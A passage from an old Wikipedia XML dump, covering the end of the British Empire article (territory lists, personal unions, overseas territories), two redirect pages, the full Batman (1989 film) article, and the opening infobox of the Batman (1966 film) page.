*[[Straits Settlements]] ([[Singapore]], [[Malacca]], [[Penang]], and [[Labuan]] in [[Southeast Asia]] and [[Cocos Islands]] and [[Christmas Island]] in the [[Indian Ocean]]; now divided among Singapore, Malaysia, and [[Australia]])
*[[Transjordan]] (now [[Jordan]])
*[[Trucial States]] (states under British protection; now the [[United Arab Emirates]])
*[[Wei-Hai-Wei]] (&amp;#23041;&amp;#28023;&amp;#34910;) (Now the city of [[Weihai]] in [[Shandong]], China)

- There were also several extraterritorial territories in China called [[treaty ports]], the most famous being the British concession in [[Shanghai]]

===Europe===
*[[Channel Islands]] ([[crown dependency|crown dependencies]])
**[[Guernsey]]
**[[Jersey]]
*[[Cyprus]]
*[[Gibraltar]]
*[[Malta]]
*[[Isle of Man]] (crown dependency)
*[[United Kingdom of Great Britain and Ireland]]

===Pacific===
*[[Australia]]
*[[British New Guinea]] (southern part of what is now [[Papua New Guinea]])
*[[Ellice Islands]] (now [[Tuvalu]])
*[[Fiji]]
*[[Gilbert Islands]] (now part of [[Kiribati]])
*[[Nauru]]
*[[New Hebrides]] ([[Anglo-French Condominium|condominium]] shared with the [[French colonial empires|French Empire]]) (now [[Vanuatu]])
*[[New Zealand]]
*[[Pitcairn]]
*[[Solomon Islands]]
*[[Tonga]] (as a state under British protectorate)

==Extent after World War II==
[[Image:British Empire Anachronous 5.PNG|thumb|400px|An anachronous map of the British Empire and England showing all the territories ruled from 1762 to 1948 (British Empire) and from 1066-1707 (England). See image description for a breakdown of colour coding.]]

During and after [[World War II]] Britain acquired control of further territories though most of these (except the Trust Territories) cannot be considered part of the British Empire as control was subject to international agreements. Territories obtained during and after the war were controlled in a variety of ways, with some ruled as UN Trust Territories and others being totally occupied and administered, while still others were only militarily occupied and the local administrations allowed to continue. These territories were:

===Africa===
*[[Comoros]] (as part of Madagascar, see below)
*[[Eritrea]] (as a UN Trust Territory)
*[[French Somaliland]] (now Djibouti) (occupied, local administration continues) 
*[[Italian Somaliland]] (occupied and administered until 1950, then returned to Italy as a UN Trust Territory). 
*[[Madagascar]] (occupied and administered)
*[[Mayotte]] (as part of the [[Comoros]], see above)
*[[Tripolitania]] and [[Cyrenaica]] (now most of [[Libya]]) (as a UN Trust Territory)
*[[Reunion]] (occupied, local administration continues)

===The Americas and Atlantic===
*[[Aruba]] (as part of the Netherlands Antilles, see below)
*[[Netherlands Antilles]] (as a protectorate)

===Asia===
*[[Dutch East Indies]]- mainly just [[Java (island)|Java]] and [[Sumatra]] (occupied and administered by South East Asia Command (SEAC) to accept Japanese surrender and restore law and order until the Dutch arrived)
*[[French Indochina]]- south of the 16th parallel, but mainly [[Saigon]] (occupied and administered by SEAC to accept Japanese surrender and restore law and order until the French arrived)
*[[Iran]] (occupied and administered by Indian Command)
*[[Iraq]] (under same administration as Iran)
*[[Japan]] (Shikoku and part of Honshu occupied as [[British Commonwealth Occupation Zone]])
*[[Lebanon]] (occupied and administered)
*[[Syria]] (same administration as Lebanon)

===Europe===
*[[Austria]] (occupied south-eastern Austria as [[British Occupation Zone]])
*[[Faeroe Islands]] (occupied and administered, but local administration continued also)
*[[Germany]] (occupied north-western Germany as [[British Occupation Zone]])
*
*[[Italy]] (temporary military government and occupation, except in Udine and Venezia Gulia provinces)

==Territories Lost by British Empire before 1921==
*[[Thirteen Colonies]], later the [[United States of America]]
**[[Delaware]]
**[[Maryland]]
**[[New Jersey]]
**[[Virginia]], later [[Virginia]] and [[West Virginia]]
**[[Massachusetts]], later [[Massachusetts]] and [[Maine]]
**[[New York]], later [[New York]] and [[Vermont]]
**[[New Hampshire]]
**[[Rhode Island]]
**[[Georgia (U.S. state)|Georgia]]
**[[North Carolina]]
***[[Roanoke]], later part of [[North Carolina]]
**[[South Carolina]]
**[[Connecticut]]
**[[Pennsylvania]]
**[[Northwest Territory]] between the 13 Colonies and the [[Mississippi River]], with conflicting claims between the Colonies, which is now [[Ohio]], [[Illinois]], [[Indiana]], [[Michigan]] and [[Wisconsin]], as well as part of [[Minnesota]].
**Territory between the 13 Colonies and the Mississippi south of the Ohio River, with conflicting claims, which is now [[Alabama]], [[Mississippi]], [[Tennessee]], [[Kentucky]] and part of [[Louisiana]].
*[[Suriname]] from 1650 until 1667 when it was traded to the Dutch in exchange for New Amsterdam (now New York).
*[[Helgoland]] seized by the British in 1807 ceded to [[Germany]] in 1890.
*[[Florida]], to Spain, but later in the United States.
*Part of the [[Oregon Country]] (which was disputed with the USA, Spain, and Russia), to the United States.
*[[Hawaii]] (the Sandwich Islands) ceded to Britain on [[25 February]] [[1843]]; gained Independence [[28 November]] [[1843]]; annexed by the United States on [[7 July]] [[1898]].
*The [[Ionian Islands]] were captured by the British in 1809 and ceded to [[Greece]] in 1864.
*[[Minorca]] was first captured by the British in 1708; it was formally ceded to Spain in 1802.
*The [[Mosquito Coast]] was a British protectorate from 1655 to 1850.
*[[Havana]] and by de facto [[Cuba]] was occupied and captured by the British in 1762 during the [[Seven Years' War]]. It was part of the empire for only 10 months.
*[[Manila]] was occupied by the British during the [[Seven Years' War]], from 1762 to 1763.
*[[Senegal]] was annexed two times into the British colonial empire. First from 1758 to 1779 and in 1809 to 1817.
*[[Afghanistan]] was annexed a few times into the British Empire from the Anglo-Afghan Wars. Afghanistan achieved independence in 1919, after the [[Third Anglo-Afghan War]].
*[[Samana]], a city on the northeast coast of the now [[Dominican Republic]], occupied from July to August 1809
*[[St. Dominique]], now [[Haiti]], mainly the coastal areas around [[Port-au-Prince]] from just north of the city to the south and west and including the towns of [[Leogane]] and [[Petit Goave]]. Other towns and areas in the French colony occupied by the British from 1793-1798 (Revolutionary Wars) included [[Tiburon]], [[Jérémie]], [[Mole St. Nicholas]], [[St. Marc]] and [[Tortuga Island]] just off the northern coast of Haiti.
*[[Bencoolen]], a trading posts in the [[Dutch East Indies]].

==Remaining Overseas Territories==
''Main article: [[British overseas territory]].''

Now only a few small territories remain under British administration, mostly for reasons of perceived insufficiency as sovereign states. The last remaining Overseas Territories are: 

===Overseas Territories possessing substantial self-government=== 
*[[Anguilla]] 
*[[Bermuda]] 
*[[British Virgin Islands]] 
*[[Cayman Islands]] 
*[[Gibraltar]] 
*[[Montserrat]] 
*[[Turks and Caicos Islands]]

===Other Overseas Territories=== 
*[[British Antarctic Territory]] (under Antarctic Treaty overlaps Argentine and Chilean claim)
*[[British Indian Ocean Territory]] 
*[[Falkland Islands]] (also claimed by [[Argentina]])
*[[Pitcairn Island]] 
*[[Saint Helena (Britain)|Saint Helena]] (including dependencies of [[Ascension Island|Ascension]] and [[Tristan da Cunha]])
*[[South Georgia and the South Sandwich Islands]] (also claimed by [[Argentina]])
*[[Akrotiri and Dhekelia|Sovereign Base Areas of Akrotiri and Dhekelia]]

==Crown Dependencies in British Isles (Outside UK &amp; EU)==
*[[Guernsey]]
*[[Jersey]]
*[[Isle of Man]]

==[[Personal union|Personal Unions]]==
===[[Kingdom of England]] ([[927]] - [[1707]])===
*[[Norway]] from 1016 to 1035
*[[Denmark]] from 1016 to 1035 and again from 1040 to 1042
*[[Normandy]] from 1066 to 1087 and again from 1105 to 1204/[[1259]]
*[[Aquitaine]] from 1152 to 1362, from 1377 to 1390, and again from 1399 to 1449
*[[Lordship of Ireland]] from 1171 to 1541
*[[Principality of Wales]] from 1282 to [[1536-41]] (when Wales and England were united in the Acts of Union)
*[[Kingdom of Ireland]] from 1541 to 1707
*[[Scotland]] from 1603 to 1707 (when they were joined together in the [[Kingdom of Great Britain]])
*[[Netherlands]] from 1689 to 1702, with the King of England, Scotland and Ireland also serving as [[Stadtholder]] of most of the provinces of the Netherlands. The actual situation was slightly more complex with the Dutch provinces [[Holland]], [[Zeeland]] and [[Utrecht (province)|Utrecht]] entering into personal union in 1672, [[Gelderland]] and [[Overijssel]] in 1675 and [[Drenthe]] in 1696. Only 2 Dutch provinces never entered into the personal union: [[Friesland]] and [[Groningen (province)|Groningen]].

===[[Kingdom of Great Britain]] ([[1707]] - [[1801]])===
*[[Kingdom of Ireland|Ireland]] from 1707 to 1801 (when they were joined together in the [[United Kingdom of Great Britain and Ireland]])
*[[Hanover (state)|Hanover]] from 1714 to 1801
*[[Corsica]] from 1794 to 1796

===[[United Kingdom of Great Britain and Ireland]] ([[1801]] - [[1927]])===
*[[Hanover (state)|Hanover]] from 1801 to 1837
*[[India]] from 1877 to 1927

===[[United Kingdom of Great Britain and Northern Ireland]] ([[1927]] - present)===
====Former====
*[[Ireland]] - [[1927]] to 1949
*[[India]] - [[1927]] to 1950
*[[Union of South Africa]] - [[1931]] to 1961
*[[Pakistan]] - [[1947]] to 1956
*[[Ceylon]] now [[Sri Lanka]] - [[1948]] to 1972
*[[Ghana]] - [[1957]] to 1960
*[[Sierra Leone]] - [[1961]] to 1971
*[[Nigeria]] - [[1960]] to 1963
*[[Tanganyika]] now [[Tanzania]] - [[1961]] to 1962
*[[Uganda]] - [[1962]] to 1963
*[[Trinidad and Tobago]] - [[1962]] to 1976
*[[Kenya]] - [[1963]] to 1964
*[[Malawi]] - [[1964]] to 1966 
*[[Malta]] - [[1964]] to 1974
*[[Gambia]] - [[1965]] to 1970
*[[Guyana]] - [[1966]] to 1970
*[[Mauritius]] - [[1968]] to 1992
*[[Fiji]] - [[1970]] to 1987

====Current====
*[[Canada]], through the [[Statute of Westminster]] in 1931
*[[Australia]], through adoption of the Statute of Westminster in 1942 (retroactive to 1939)
*[[New Zealand]], through adoption of the Statute of Westminster in 1947
*[[Jamaica]], through independence in 1962
*[[Barbados]], through independence in 1966
*The [[Bahamas]], through independence in 1973
*[[Grenada]], through independence in 1974
*[[Papua New Guinea]], through independence in 1975
*The [[Solomon Islands]], through independence in 1978 
*[[Tuvalu]], through independence in 1978
*[[Saint Lucia]], through independence in 1979 
*[[Saint Vincent and the Grenadines]], through independence in 1979 
*[[Antigua and Barbuda]], through independence in 1981 
*[[Belize]], through independence in 1981 
*[[Saint Kitts and Nevis]], through independence in 1983

==See also==
* [[British colonisation of the Americas]]
* [[British East India Company]]
* [[British Empire and Commonwealth Museum]]
* [[Commonwealth of Nations]]
* [[Commonwealth Realm]]
* [[Decolonisation]]
* [[Evolution of the British Empire]]
* [[History of the United Kingdom]]
* [[Imperialism in Asia]]
* [[List of United Kingdom topics]]
* &quot;[[The White Man's Burden]]&quot;
*[[Size of Empires]]
* [[Government Houses of the British Empire]]

==External links==
{{wikisourcecat}}
* [http://www.britishempire.co.uk Extensive information on the British Empire]
* [http://www.hostkingdom.net/earthrul.html Sizes of various empires and quasi-empires]

{{Colonial Empires}}

==Further reading==
*James, Lawrence,(1998) ''The Rise and Fall of the British Empire'', 2nd. ed, Abacus  ISBN 031216985X
*Judd, Denis, (1999) ''Empire: The British Imperial Experience from 1765 to the Present'', Fontana ISBN 0465019544 
*Fergusson, Niall (2003). ''Empire &amp;#8211; How Britain Made the Modern World'', Pengiun Books ISBN 0-141-00754-0

{{Link FA|de}}

[[Category:British Empire| ]]
[[Category:Empires]]
[[Category:History of England]]
[[Category:History of Scotland]]
[[Category:History of the United Kingdom]]
[[Category:New Imperialism]]
[[af:Britse Ryk]]
[[ca:Imperi britànic]]
[[da:Britiske imperium]]
[[de:Britisches Imperium]]
[[es:Imperio británico]]
[[eo:Brita imperio]]
[[fr:Empire britannique]]
[[ko:대영 제국]]
[[it:Impero britannico]]
[[he:האימפריה הבריטית]]
[[nl:Britse Rijk]]
[[ja:大英帝国]]
[[no:Det britiske imperiet]]
[[nn:Det britiske imperiet]]
[[pl:Imperium brytyjskie]]
[[pt:Império britânico]]
[[ru:Британская Империя]]
[[sk:Britské impérium]]
[[sl:Britanski imperij]]
[[fi:Brittiläinen imperiumi]]
[[sv:Brittiska imperiet]]
[[vi:Đế quốc Anh]]
[[zh:大英帝国]]</text>
    </revision>
  </page>
  <page>
    <title>Bronislav Pilsudski</title>
    <id>4722</id>
    <revision>
      <id>37423462</id>
      <timestamp>2006-01-30T22:53:13Z</timestamp>
      <contributor>
        <username>Freakofnurture</username>
        <id>77511</id>
      </contributor>
      <comment>{{R from title without diacritics}}</comment>
      <text xml:space="preserve">#REDIRECT [[Bronisław Piłsudski]] {{R from title without diacritics}}</text>
    </revision>
  </page>
  <page>
    <title>Bernouilli inequality</title>
    <id>4724</id>
    <revision>
      <id>15902982</id>
      <timestamp>2004-12-02T21:31:00Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki syntax]].</comment>
      <text xml:space="preserve">#REDIRECT [[Bernoulli's inequality]]</text>
    </revision>
  </page>
  <page>
    <title>Batman (1989 film)</title>
    <id>4726</id>
    <revision>
      <id>42164039</id>
      <timestamp>2006-03-04T06:12:22Z</timestamp>
      <contributor>
        <ip>71.152.41.106</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Film |
  name     =Batman |
  image          =Movie_DVD_cover_batman.jpg |
  producer       =[[Peter Guber]]&lt;br&gt;[[Jon Peters]] |
  writer         = [[Sam Hamm]] (screenwriter)&lt;br&gt;[[Warren Skaaren]] (screenwriter)&lt;br&gt;[[Sam Hamm]] (story)&lt;br&gt;[[Bob Kane]] (comic book)&lt;br&gt; |
  starring       = [[Michael Keaton]]&lt;br&gt;[[Jack Nicholson]]&lt;br&gt;[[Kim Basinger]]&lt;br&gt;[[Billy Dee Williams]]&lt;br&gt;[[Jack Palance]] |
  director       = [[Tim Burton]]|
  distributor    =[[Warner Brothers]] |
  released   =[[June 19]], [[1989]] |
  runtime        = 126 min. |
  language = English |
   music          = |
  awards         = |
 budget         = $35,000,000 |
  imdb_id            = 0096895 |
}}
'''''Batman''''' was released in [[United States|U.S.]] theaters on [[June 23]], [[1989]] by [[Warner Bros.]] and soon became the highest grossing [[film|movie]] of [[1989 in film|the year]].  It was directed by [[Tim Burton]] and starred [[Jack Nicholson]] as the [[Joker (comics)#The 1989 film|Joker]], [[Michael Keaton]] as [[Batman]], and [[Kim Basinger]] as reporter [[Vicki Vale]].  Although Keaton played the nominal hero of the film, Nicholson received top billing.

This movie helped usher a return to the darker roots of the Batman of the original [[comic book|comics]] and away from the [[Camp (style)|camp]]y [[1960s]] [[Batman (1960s TV series)|''Batman'' television series]] and cartoon ''[[Super Friends]]''.  Like many film versions of comic book heroes, the ''Batman'' movie told its own version of his origin, and how [[Joker (comics)|The Joker]] figured in that origin.

Many people who recognized Batman from the 1960s television series reprehended the film for being too solemn and humorless; however, it should be noted that the character's original tone was serious-minded and not comedic or mirthful. Another complaint, one that long plagued the Batman films made between 1989 and 1997, was that the films tended to focus too much on the villain and not enough on Batman himself. 

Numerous comic book fans were displeased to learn that Michael Keaton (who was better known for his comedic roles at the time) was cast as the title character, and assumed that it was a sure sign of the production taking the same tone of the 1960s television series.  The producers hurriedly released a [[teaser trailer]] to prove they were treating the character faithfully.  The marketing move was successful and since the film's successful release, most fans consider Keaton the one of the best actors to have played Batman in a live-action film.

The film score was written by [[Danny Elfman]] and the [[Batman (album)|soundtrack]] was written and performed by [[Prince (artist)|Prince]]. 

Two animated series (''[[Batman: The Animated Series]]'' and ''[[The Adventures of Batman and Robin]]'') were created in the wake of the film's success, and three sequels --''[[Batman Returns]]'' (1992), ''[[Batman Forever]]'' (1995), and ''[[Batman and Robin]]'' (1997)-- were produced.  ''[[Batman: Mask of the Phantasm]]'' a spin-off of the animated television series, was released in 1993.  ''[[Batman Begins]]'', a successful restart of the saga (but often mistakenly called a [[prequel]]), was released in 2005.  A new 2-disc special edition collection of the first four films were released on Tuesday, October 18, 2005.  All movies include commentary by director's [[Tim Burton]] and [[Joel Schumacher]] along with a slew of other special features. 

The film aired on the US [[Cartoon Network]] on Saturday, November 19, 2005 during [[Toonami]] as part of the network's &quot;November Month of Movie Premieres&quot; at a rating of TV-14V for violence. This marked the first time Cartoon Network has ever aired anything above the TV-PG rating outside of [[Adult Swim]].

==Plot summary==
{{spoiler}}
[[Image:Jokermovie.jpg|thumb|left|[[The Joker (comics)|The Joker]], played by [[Jack Nicholson]].]]The main story of the movie is that of Jack Napier, an arrogant hitman working for [[Carl Grissom|Boss Carl Grissom]], who years before killed Thomas and Martha Wayne, the wealthy parents of Bruce Wayne.  Grissom assigns Napier to break into Axis Chemicals to destroy legally incriminating files, but it turns out to be a set-up.  Out of jealousy of Napier's affair with his girlfriend, Grissom hires the corrupt [[Lt. Max Eckhardt]] of the [[Gotham City Police Department]] to kill Napier.

Napier kills Eckhardt, but Batman has learned of the break-in and confronts Jack Napier, on a catwalk above a vat of hazardous chemicals, to make sure he is arrested to testify against Grissom. While trying to kill Batman, Napier's face is disfigured by his own richochet bullet causing him to fall off the catwalk. Batman grabs his hand in an attempt to save him, however, his hand ultimately slips, and he falls into the vat.  The chemicals ingrain him with permanently discoloured skin and sugical reconstruction leaves grotesque features, which change his appearance to something resembling a clown.  Naming himself [[Joker (comics)#The 1989 film|The Joker]], he tracks down and murders Grissom and takes over the criminal gang.  The violent takeover attracts the attention of both Batman and newspaper reporter Alexander Knox and photographer [[Vicki Vale]].  The rest of the film involves Batman trying to stop the Joker, [[Bob the Goon]] and their henchmen from terrorizing the city with shootouts, assassinations, and a deadly chemical which poisons its victims with uncontrollable laughter that eventually leads to death.
==Cast==
*''Batman / Bruce Wayne'': Michael Keaton
*''The Joker / Jack Napier'': Jack Nicholson
*''Vicki Vale'': Kim Basinger
*''Alexander Knox'': [[Robert Wuhl]]
*''[[Alfred Pennyworth]]'': [[Michael Gough]]
*''Bob the Goon'': [[Tracey Walter]]
*''[[James Gordon (comics)|Commissioner Gordon]]'': [[Pat Hingle]]
*''[[Two-Face|Harvey Dent]]'': [[Billy Dee Williams]]
*''Carl Grissom'': [[Jack Palance]]
*''Alicia'': [[Jerry Hall]]

== Response and legacy==
''Batman'' was the most successful movie of 1989, earning $251,188,924 domestically and over $160 million abroad.  As a result, the movie spawned all sorts of merchandise: action figures, t-shirts, beach towels, trading cards and even a cereal.  The movie received mostly positive reviews, with [[Erik Preminger]] of [[San Francisco, California|San Francisco]]'s [[KGO-TV]] hailing it as ''&quot;the movie of the decade&quot;''.  [[Jack Nicholson]] was widely praised as ruthless thug Jack Napier and the even more ruthless Joker, while [[Michael Keaton]], better known as a comedic actor at the time, won over many viewers with his portrayal of a conflicted Bruce Wayne and Batman.  [[Danny Elfman]]'s score received positive feedback, leading to nominations in various institutions (although not for an [[Academy Award]]).  The film was criticized, though, for its dark, grisly nature in comparison with the campy 1960s TV show, and for a [[Prince (artist)|Prince]]-dominated soundtrack which was seen as an obvious marketing tie-in.  While applauded for its efforts to return to the staid nature of the character, the movie was attacked by many comic book purists who claimed that the film took too many elective liberties with the original character's established backstory and ideals, most notably in Batman's lethal tactics in the film.

And while Jack Nicholson's performance was widely praised by even the most ardent comic book fans, there were still dissenting voices that his character was too over-the-top and lacked the psychological depth of the comic book character. 

In fact, Burton was accused by several fans of taking the character of Batman and making him a supporting character in his own film and ultimately bending the source material to his style. Several notable fans including cult figure [[Kevin Smith]] were displeased by the film. In an interview, when told that Burton did not read comic books, Smith sardonically replied, &quot;I know, I saw Batman.' This may also be due to the fact that the two of them had a testy relationship during the making of a failed [[Superman Lives|Superman]] film. Film critic [[Roger Ebert]], a fan of the comic books also panned the film for the same reasons and it would be a full decade and a half before a newer adaptation of the comics was filmed when [[Batman Begins]] released in 2005. Fans and critics alike have praised this film and have warmed over to it more than Burton adaptation.

==Trivia==
=== Casting ===
* [[Adam West]], star of the ''[[Batman (TV series)|Batman]]'' TV series, wanted to play Batman, but Michael Keaton was given the role after getting the nod from [[Bob Kane]].
* [[Ricky Addison Reed]] was cast as [[Robin (comics)|Robin]] when the character was part of an earlier story treatment. Robin was eventually dropped, and Reed lost the role.
* [[Robin Williams]] was considered for the role of The Joker; he would later be considered for The Riddler in ''[[Batman_Forever|Batman Forever]]''. Jack Nicholson got the role of The Joker but demanded top-billing and a lucrative deal that gave him royalties on all merchandise.
* [[Billy Dee Williams]] appears as [[Two-Face|Harvey Dent]], who in the comics became Two-Face. Williams took the role with the expectation that he would be brought back to play Two-Face and reportedly had a contract clause added reserving the role for him. During casting for [[Batman_Forever|Batman Forever]] (1995) Warner Bros. decided they would prefer [[Tommy Lee Jones]] and bought out Williams' contract.
* It is claimed that Adam West was offered a cameo as Bruce Wayne's father but turned it down, though West denies being offered the part.
* [[Sean Young]] was originally cast as Vicki Vale, but broke her collarbone while filming a horse-riding scene with Michael Keaton. The scene was subsequently written out of the script.
* [[Alec Baldwin]], [[Charlie Sheen]], [[Bill Murray]], [[Pierce Brosnan]] and [[Tom Selleck]] were rumored to be considered for the role of Bruce Wayne/Batman.
* According to a Playboy interview with Robin Williams, Jack Nicholson was offered the role of Joker first. When Nicholson kept delaying his answer, Williams was offered the role. The producers immediately turned around and informed Nicholson that Williams was considering the offer, and Nicholson accepted. Williams has remained bitter about being &quot;used as bait.&quot; See trivia for [[Batman_Forever|Batman Forever]] (1995).
* The Special Edition DVD features a vignette of an unused storyboard where the Joker, being chased by Batman, would drive through a circus presentation featuring the Flying Graysons, where he sets fire to the tightrope and kill them.  This would set up Robin for the sequels.  The voices used for the vignette are those from ''[[Batman: the Animated Series]].''

=== Production Design ===
* Set designer Anton Furst deliberately mixed clashing architectural styles to make Gotham City the ugliest and bleakest metropolis imaginable.
* The plastic surgeon's weird surgical tools are believed to be originally from another Warner Brothers production, Little Shop of Horrors (1986). They were the dentist tools owned by Orin Scrivello.
* The Batman costume weighed 70 lbs.
* The Batman symbol on the costume in this film is slightly different than the version seen in the comic books. It has two extra &quot;points&quot; on the bottom of the black bat emblem. However, the teaser poster and other such promotional materials for the film depict the logo just as it appears in the comics, for copyright purposes (because that specific look for the logo is what DC comics had copyrighted). The Batman costume was slightly modified for Batman Returns (1992) and sported the comic version of the symbol.
* Heavy security surrounded The Joker's makeup.
* The throne that the Joker sits on when he spreads money over the citizens of Gotham may be a replica of the &quot;Silver Throne&quot;, the Royal Throne of Sweden which the King of Sweden used until 1974 at the opening of the [[Swedish Parliament]].
* The painting that the Joker spares during his vandalism spree is [[Francis Bacon]]'s &quot;[[Figure with Meat]].&quot;
* The design of Gotham City is based on the work of architects [[Antonio Gaudi]], [[Otto Wagner]] and [[Shin Takamatsu]].
* Scenes of the Wayne mansion were filmed at two English stately homes: [[Knebworth House]] for exterior scenes, [[Hatfield House]] for the interiors.

=== Other Trivia ===
*[[Tom Mankiewicz]] was first contracted to write a Batman script for Warner Bros. in the early 80s following his work on '[[Superman: The Movie]]' and '[[Superman II]]'.
* [[Michael Keaton]] worked out for two months to prepare for the role, and learned kickboxing from his stunt double, David Lea. Though hard to spot, many of the fights are just about evenly split between Keaton and David Lea in costume. Keaton, however, went on to perform all of the fights himself for the sequel [[Batman Returns]].
* It made an estimated additional $750 million in merchandising alone.
* Executive producers Benjamin Melniker and Michael E. Uslan sued Warner Brothers for forcing them into accepting a net profit agreement rather than the gross profit one that was set up for other parties like Jack Nicholson. Warners then claimed that, although &quot;Batman&quot; at the time was the 5th biggest grossing film ever, it was still technically in the red, and offered the two producers a $1 million out-of-court settlement. They naturally rejected this.
* Corto Maltese (where Vicki had been taking pictures) is the name of a popular European [[Corto Maltese | comic character]], starring in the adventure comic books of Italian Hugo Pratt.  Corto Maltese is also an island country in [[Frank Miller]]'s [[The Dark Knight Returns]], one of Burton's inspirations for Batman.
* This was the first film to ever get a &quot;12&quot; rating in Great Britain. The rating was created to prevent young children from seeing the film. It had been in place up until 2002, where it was updated to &quot;12A&quot; for the live-action Spider-Man (2002) movie.
* Kim Basinger is only a few inches shorter than Michael Keaton. To make Keaton appear taller, she wears flat heels or is in stocking feet in all the scenes in which they are standing next to each other.
* In the Globe office, an artist hands Knox a drawing of a bat dressed like a man, poking fun at his belief in Batman. The drawing is signed &quot;[Bob Kane]&quot;.  Kane himself was originally planned to play the artist.  
* Jack Nicholson received a percentage of the gross on the film, and due to its massive box-office took home around $60 million. As of 2003 it is still the single-movie record for actor's salary.
* The flag of Gotham City closely resembles the state flag of Indiana. It can be seen briefly in Harvey Dent's office.
* When the Tom Mankiewicz script was in development, the directors associated with the project included Joe Dante and Ivan Reitman. Producers wanted an unknown to play Batman and the cast wish-list included William Holden as Commissioner Gordon and David Niven as Alfred, Bruce Wayne's faithful butler.
* The movie's &quot;Vicki Vale&quot; is partially based on 1970s Bruce Wayne girlfriend Silver St. Cloud, a name deemed too silly for a movie character. However, in the comics there was a character named Vicki Vale, who was a reporter and appeared in the comics throughout the '40s and '60s.
* The character of Alexander Knox (Robert Wuhl) was a character created for the movie. In the first draft of the script, the character was killed during the parade scene.
* When Alfred receives Vicki Vale's message, a portrait can be seen in the background, some believe it to be a portrait of Thomas Wayne, Bruce's father.
* For its first video release, the film was graded slightly lighter, as cinema audiences had complained that it was filmed so darkly that they could hardly see what was going on.
* Anton Furst's designs for Gotham City were partally incorporated into the comics during the early '90s.
* In a newsroom scene, Vicki Vale and Alexander Knox examine a map of Gotham City which has been marked with Batman sightings. The map is actually a map of Vancouver, British Columbia.
* The film was the first live-action movie to be played on [[Toonami]].
* One scene in the film includes the destruction of a priceless painting when one of joker's goons places his hands on the painting (leaving red hand prints.) But later in the scene we see that the hand prints are mysteriously gone.
* Screenwriter Sam Hamm was annoyed at the filmmakers over certain changes made from his original drafts.  The most notable would be making The Joker the killer of Bruce Wayne's parents, and Alfred Pennyworth letting Vicki Vale into the Batcave.  Hamm himself said that he was able to keep Burton from making these changes until a writer's strike which permitted him from being with production.
* In Sam Hamm's original draft, Alexander Knox was a more serious character who has romantic rivalry between Bruce over Vicki.  Knox was also able to figure out Bruce's secret identity, but would later be killed in the climax.
* In the book Hit and Run, author Kim Masters writes that Tim Burton's original vision for the film was much, much darker, but producers Jon Peters and Peter Guber vetoed the idea.

== On DVD==
[[Image:batman2disc.jpg|right|thumb|128px||Cover of the 2-disc Special Edition DVD]]

''Batman'' was given a &quot;bare bones&quot; DVD release when the medium was introduced in 1997-98. However, in 2005, the newest feature film, [[Batman Begins]], spurred Warner Bros. to release a Two-Disc Special Edition set of all four Burton-Schumacher films in ''Batman: The Motion Picture Anthology 1989-1997''.

Features of the original Burton film include:

*Digitally Remastered Anamorphic Widescreen Transfer
*English Dolby Digital 5.1 Surround Track
*English DTS 5.1 Surround Track
*Audio Commentary with Director Tim Burton
*Legends of the Dark Knight: The History of Batman Documentary
*Shadows of the Bat: The Cinematic Saga of the Dark Knight Parts 1, 2 &amp; 3
*#The Road to Gotham City
*#The Gathering Storm
*#The Legend Reborn
*Beyond Batman Documentary Gallery Including:
**Visualizing Gotham: The Production Design of Batman
**Building the Batmobile
**Those Wonderful Toys: The Props and Gadgets of Batman
**Designing the Batsuit
**From Jack to Joker
**Nocturnal Overtures: The Music of Batman
*&quot;Batdance&quot;, &quot;Partyman&quot; and &quot;Scandalous&quot; Music Videos by Prince
*The Heroes and The Villains Profile Galleries
*Batman: The Complete Robin Storyboard Sequence
*On the Set with Bob Kane Featurette
*Batman Theatrical Trailer

==External links==
{{wikiquote|Batman_(1989)}}
*{{imdb title|id=0096895|title=Batman}}
*[http://www.batmanunmasked.com Pictures of the set, Batsuit, Batmobile, and cast of Batman]
* [http://www.keithshortsculptor.com/batman.htm Keith Short - Film Sculptor] Sculpted the Batmobile for this film
*[http://www.bullz-eye.com/mguide/reviews_1989/batman.htm Batman review, Batman DVD review]
*[http://www.sydlexia.com/batmancereal.htm 1989's Batman Cereal]
*[http://terryxart.com/BatmanPage1.htm Tim Burton's Batman Page 1]
*[http://tiger.towson.edu/~apeak1/writtenwork/thoughtpieces/thegoodlifeofcrime.html The Good Life of Crime]
* [http://www.batmanytb.com/movies/batman/index.php Batman @ BYTB: Batman Yesterday, Today and Beyond]

==See also==
*[[Batman (video game)]]
{{Batmanmovies}}
{{Tim Burton Films}}


[[Category:1989 films]]
[[Category:Films directed by Tim Burton]]
[[Category:American films]]
[[Category:Prince films]]
[[Category:Thriller films]]
[[Category:Warner Bros. films]]


[[es:Batman (película)]]
[[fr:Batman (film, 1989)]]
[[pt:Batman (filme)]]
[[ru:?????? (?????)]]
[[sk:Batman (1989 film)]]
[[sv:Batman (film)]]</text>
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  </page>
  <page>
    <title>Batman (1966 film)</title>
    <id>4727</id>
    <revision>
      <id>41190547</id>
      <timestamp>2006-02-25T17:48:35Z</timestamp>
      <contributor>
        <ip>65.10.114.45</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     =Batman  |
  imdb_id        = |
  image          = 1966 batman movie poster.jpg |
  producer       =[[William Dozier]]&lt;br&gt; |
  writer         = [[Lorenzo Semple Jr.]] (screen writer)&lt;br&gt;[[Bob Kane]] (comic book) |
  starring       = [[Adam West]]&lt;BR&gt;[[Burt Ward]]&lt;BR&gt;[[Lee Meriwether]]&lt;BR&gt;[[Cesar Romero]]&lt;BR&gt;[[Burgess Meredith]]&lt;BR&gt;[[Frank Gorshin]] &lt;BR&gt; |
  director       = [[Leslie H. Martinson]]|
  distributor    =  [[20th Century Fox]] |
  released   = [[July 30]], [[1966]] |
  runtime        = 105 min. |
  language =English |
   music          = |
  awards         = |
 budget         = $1,377,800 |
}}

